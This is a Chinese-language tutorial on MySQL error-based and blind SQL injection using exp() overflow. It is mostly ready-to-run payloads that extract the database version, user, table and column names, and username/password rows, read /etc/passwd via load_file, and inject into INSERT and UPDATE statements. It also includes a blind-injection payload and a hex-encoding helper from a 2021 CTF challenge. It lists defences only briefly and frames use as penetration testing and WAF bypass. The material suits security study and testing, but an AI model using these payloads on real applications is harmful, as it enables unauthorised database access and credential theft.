如何使用 MySQL exp() 函数进行 Sql 注入
字数 904 2025-08-05 08:19:29
MySQL exp() 函数在SQL注入中的应用
1. exp() 函数基础
MySQL中的EXP()函数用于将自然对数底数E(约2.718281)提升为指定数字X的幂:
EXP(X)
示例:
mysql> select exp(3);
+--------------------+
| exp(3) |
+--------------------+
| 20.085536923187668 |
+--------------------+
1 row in set (0.00 sec)
2. exp() 函数的溢出特性
当X值超过709时,exp()函数会引发溢出错误:
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
3. 利用exp()进行报错注入
3.1 基本原理
通过按位取反运算符(~)可以生成一个极大整数,使其超过MySQL的Double数值范围:
mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
3.2 实际注入示例
-- 获取版本信息
select exp(~(select * from(select version())x));
-- 获取用户信息
select exp(~(select * from(select user())x));
-- 获取数据库名
select exp(~(select * from(select database())x));
3.3 数据提取技术
获取表名
select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())x));
获取列名
select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name='users')x));
检索数据
select exp(~ (select*from(select group_concat(id, 0x7c, username, 0x7c, password) from users)x));
读取文件(有13行限制)
select exp(~(select * from(select load_file('/etc/passwd'))x));
批量获取表结构
select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));
4. 在不同SQL语句中的注入应用
4.1 INSERT语句注入
原始语句:
insert into users(id,username,password) values(4,'john','679237');
注入方式:
-- 在username处插入
insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1);#','679237');
批量获取数据:
insert into users(id,username,password) values(4,'john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#','679237');
4.2 UPDATE语句注入
原始语句:
update users set password='new_value' WHERE username = 'admin';
注入方式:
-- 在new_value处插入
update users set password='abc' or exp(~(select * from(select user())x));# WHERE username = 'admin';
5. 利用exp()进行盲注
5.1 盲注原理
构造条件使exp()函数根据查询结果决定是否报错:
||exp(710-(条件表达式))
- 如果条件为真(1),则执行exp(709)不报错
- 如果条件为假(0),则执行exp(710)报错
5.2 实际案例:2021虎符杯CTF Finalweb Hatenum
题目特点
- 过滤严格:union, select, or, and, 引号, 空格等
- 允许使用反斜杠(\)和括号()
- 密码字段限制4字符长度
绕过方法
- 使用反斜杠转义引号:
username: admin\\
password: ||1#
- 使用rlike进行正则匹配:
def str2hex(string):
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result
- 构造盲注payload:
||exp(710-(code rlike binary {0}))#
- 由于长度限制,采用分段爆破:
- 先爆破前3位
- 然后用已知的3位爆破第4位
- 依次类推
最终获取的code
erghruigh2uygh23uiu32ig
6. 注意事项
-
版本限制:MySQL 5.5.5及以上版本有效,但在MySQL>5.5.53后exp()报错不能返回查询结果
-
替代函数:pow()等类似函数也可利用相同原理
-
防御措施:
- 严格过滤特殊字符
- 使用预处理语句
- 限制错误信息输出
-
实际应用中需要考虑WAF绕过技术
7. 总结
MySQL的exp()函数提供了一种有效的SQL注入技术,特别是在其他常见注入方法被过滤的情况下。通过利用数值溢出特性,可以实现报错注入和盲注,获取数据库敏感信息。在实际渗透测试中,需要结合具体环境灵活运用,并注意现代WAF的防御机制。